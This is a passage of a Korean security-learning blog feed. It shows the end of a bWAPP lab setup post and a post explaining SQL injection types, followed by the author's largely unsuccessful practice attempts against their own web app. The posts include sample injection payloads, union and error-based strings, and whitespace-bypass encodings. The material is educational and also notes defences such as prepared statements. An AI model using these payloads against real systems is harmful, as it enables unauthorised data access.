&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;454&quot; data-origin-height=&quot;852&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNZCem/btsN2SyIa4X/tMiWlt8h8GsacYT41UFLxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNZCem/btsN2SyIa4X/tMiWlt8h8GsacYT41UFLxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNZCem/btsN2SyIa4X/tMiWlt8h8GsacYT41UFLxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNZCem%2FbtsN2SyIa4X%2FtMiWlt8h8GsacYT41UFLxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;454&quot; height=&quot;852&quot; data-origin-width=&quot;454&quot; data-origin-height=&quot;852&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳 잘되는걸 볼 수 있어용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인을 해봅시다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이디 : bee&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 : bug&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1438&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cObjNW/btsN03aYHCO/mwa6YNbIJDwFvGwyNEI4f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cObjNW/btsN03aYHCO/mwa6YNbIJDwFvGwyNEI4f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cObjNW/btsN03aYHCO/mwa6YNbIJDwFvGwyNEI4f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcObjNW%2FbtsN03aYHCO%2Fmwa6YNbIJDwFvGwyNEI4f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1438&quot; height=&quot;901&quot; data-origin-width=&quot;1438&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 다양한 웹해킹 실습을 시도해볼 수 있습니당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서 ifconfig 치고 나오는 IP주소를 복붙해서 로컬에서도 bWAPP 실행시킬수잇따&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출처 : &lt;a href=&quot;https://king-ja.tistory.com/90&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://king-ja.tistory.com/90&lt;/a&gt;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/4</guid>
      <comments>https://songtoy.tistory.com/4#entry4comment</comments>
      <pubDate>Sat, 17 May 2025 16:51:48 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection (SQLI) 공격 방식</title>
      <link>https://songtoy.tistory.com/3</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt; 이론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. Classic SQL Injection&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값을 그대로 SQL 쿼리에 삽입하여 공격하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex )&lt;/p&gt;
&lt;pre id=&quot;code_1746876461939&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM USER WHERE USERNAME = '[입력값]' AND PASSWORD = '[입력값]';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 사용자가 admin'; -- 라는 값을 입력하면&lt;/p&gt;
&lt;pre id=&quot;code_1746876517164&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT * FROM USER WHERE USERNAME = 'admin'; --' AND PASSWORD = '[입력값'];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-- 뒤는 주석처리됨&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. Blind SQL Injection&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참 / 거짓의 결과를 통해 정보를 추출하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex1 ) Boolean-based : SQL 쿼리의 결과가 참이면 정상적인 응답을, 거짓이면 에러를 반환하는 경우를 이용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사용자 이름을 검증하는 쿼리에서 'or 1=1' 또는'or 1=2'와 같은 조건을 추가하여 참 / 거짓 판별)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex2 ) Time-based : 응답지연을 유발시키는 함수를 사용하여 참 / 거짓 판별 (SLEEP 또는 BENCHMARK 함수를 이용)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. UNION-based SQL Injection&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UNION 연산자를 사용하여 원래의 쿼리 결과에 추가적인 선택 결과를 결합하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;발생조건 : UNION 연산자는 2개 이상의 SELECT문을 합집합하는 연산자이므로, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;UNION 연산자로 결합된 쿼리의 대상 목록은 &lt;u&gt;같은 개수&lt;/u&gt;의 파라미터를 가져야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex ) 원래 쿼리에 UNION SELECT NULL, userID, password FROM user; 를 추가하여 사용자 정보를 반환하는 쿼리 생성&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;4. Error-based SQL Injection&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반환된 에러메세지를 통해 데이터베이스의 정보를 추출하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) CAST 함수와 같은 함수를 사용하여 강제적으로 에러를 발생시키고, 해당 에러메세지에서 DB 정보를 추출&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt; ️실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HxXVc/btsNRddDRzc/1dgN3sqkQ1Ansax8KlNqlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HxXVc/btsNRddDRzc/1dgN3sqkQ1Ansax8KlNqlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HxXVc/btsNRddDRzc/1dgN3sqkQ1Ansax8KlNqlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHxXVc%2FbtsNRddDRzc%2F1dgN3sqkQ1Ansax8KlNqlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1157&quot; height=&quot;595&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fx11G/btsNSuyEH4X/6DxOa0sKgV3iBvXgKS4tN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fx11G/btsNSuyEH4X/6DxOa0sKgV3iBvXgKS4tN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fx11G/btsNSuyEH4X/6DxOa0sKgV3iBvXgKS4tN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFx11G%2FbtsNSuyEH4X%2F6DxOa0sKgV3iBvXgKS4tN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;318&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9UXgb/btsNS7psfNz/DJhvGpMFjdF772PF4YF371/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9UXgb/btsNS7psfNz/DJhvGpMFjdF772PF4YF371/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9UXgb/btsNS7psfNz/DJhvGpMFjdF772PF4YF371/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9UXgb%2FbtsNS7psfNz%2FDJhvGpMFjdF772PF4YF371%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;170&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 조회 전에 loginAction 페이지에서 존재여부를 먼저 확인해서 SQL 삽입되기 전에 아예 차단해버림&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EhhuZ/btsNRPjjYQo/wzy9Cc3ne4MJAFRfTR2E51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EhhuZ/btsNRPjjYQo/wzy9Cc3ne4MJAFRfTR2E51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EhhuZ/btsNRPjjYQo/wzy9Cc3ne4MJAFRfTR2E51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEhhuZ%2FbtsNRPjjYQo%2Fwzy9Cc3ne4MJAFRfTR2E51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1147&quot; height=&quot;804&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nn6np/btsNTkPN8Ll/vYJUGxWbEW2wubQ7LmPIdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nn6np/btsNTkPN8Ll/vYJUGxWbEW2wubQ7LmPIdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nn6np/btsNTkPN8Ll/vYJUGxWbEW2wubQ7LmPIdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnn6np%2FbtsNTkPN8Ll%2FvYJUGxWbEW2wubQ7LmPIdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1093&quot; height=&quot;304&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;? 왜 됐지&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZANAB/btsNS8WdldH/f5k9KYKkz1A5pKQSrqybL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZANAB/btsNS8WdldH/f5k9KYKkz1A5pKQSrqybL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZANAB/btsNS8WdldH/f5k9KYKkz1A5pKQSrqybL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZANAB%2FbtsNS8WdldH%2Ff5k9KYKkz1A5pKQSrqybL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;229&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;preparedStatement를 쓰면 문자열로 들어가기때문에 SQL Injection을 방지할수 있다고함... ㅇㅅㅇ&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQXzR6/btsNRRhaH96/lC76tuN71P1XU7FlHUNjt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQXzR6/btsNRRhaH96/lC76tuN71P1XU7FlHUNjt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQXzR6/btsNRRhaH96/lC76tuN71P1XU7FlHUNjt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQXzR6%2FbtsNRRhaH96%2FlC76tuN71P1XU7FlHUNjt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1149&quot; height=&quot;512&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뷰페이지에서 URL에 임의의 SQL 쿼리를 삽입하여 DB 에러페이지가 반환되는지 확인! (error-based injection)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8Gbd9/btsNSyuBaV9/sx77Ti6fNG5frCaSWq025k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8Gbd9/btsNSyuBaV9/sx77Ti6fNG5frCaSWq025k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8Gbd9/btsNSyuBaV9/sx77Ti6fNG5frCaSWq025k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8Gbd9%2FbtsNSyuBaV9%2Fsx77Ti6fNG5frCaSWq025k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;617&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bbsID 파라미터는 정수여야 되는데 왜 문자가 들어갔냬&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정수만 허용되기 때문에 SQL injection이 차단됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;574&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cY72dR/btsNQXa7wxJ/WD5XghdJl86V5vyIgEax0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cY72dR/btsNQXa7wxJ/WD5XghdJl86V5vyIgEax0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cY72dR/btsNQXa7wxJ/WD5XghdJl86V5vyIgEax0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcY72dR%2FbtsNQXa7wxJ%2FWD5XghdJl86V5vyIgEax0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;997&quot; height=&quot;574&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;574&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공백 넣어봐도 똑같고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;i&gt;* 공백 문자 우회 방법&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;i&gt;- %0a / %09 / %0d / %20 / + / ()괄호 등 ...&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxxfBZ/btsNRf3I67F/K1VC78kxJAimjLI1TeKIhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxxfBZ/btsNRf3I67F/K1VC78kxJAimjLI1TeKIhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxxfBZ/btsNRf3I67F/K1VC78kxJAimjLI1TeKIhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxxfBZ%2FbtsNRf3I67F%2FK1VC78kxJAimjLI1TeKIhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;316&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터(%27) 써도 똑같고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jyd56/btsNRQQaLA4/ftrpEeTetrBKSK2C8l8Tgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jyd56/btsNRQQaLA4/ftrpEeTetrBKSK2C8l8Tgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jyd56/btsNRQQaLA4/ftrpEeTetrBKSK2C8l8Tgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJyd56%2FbtsNRQQaLA4%2FftrpEeTetrBKSK2C8l8Tgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1043&quot; height=&quot;312&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터 앞에는 백슬래시(%5C) 써야된다 해서 써봐도 똑같고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFVZS3/btsNQW4pgLs/kHFmujO3qfoQZ3pF4GStY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFVZS3/btsNQW4pgLs/kHFmujO3qfoQZ3pF4GStY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFVZS3/btsNQW4pgLs/kHFmujO3qfoQZ3pF4GStY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFVZS3%2FbtsNQW4pgLs%2FkHFmujO3qfoQZ3pF4GStY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;984&quot; height=&quot;308&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 처리를 다르게 해봐도 똑같음 ㅠㅡㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 에러창에 나온것처럼 Integer.parseInt('입력값'); 을 이용해보면 어떨까!!!!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Integer.parseInt('입력값');&amp;nbsp; &lt;br /&gt;-&amp;gt; 입력값에 1') or Integer.parseInt('49') ; # 이런식으루 넣으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Integer.parseInt('1') or Integer.parseInt('49'); &lt;span style=&quot;color: #9d9d9d;&quot;&gt;#');&amp;nbsp;&lt;/span&gt; &lt;br /&gt;이렇게 되는거 아닌가!?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 내가 문법을 잘 몰라서 이러케 쓰는게 맞는지 몰겟ㅇ음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;졸립다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
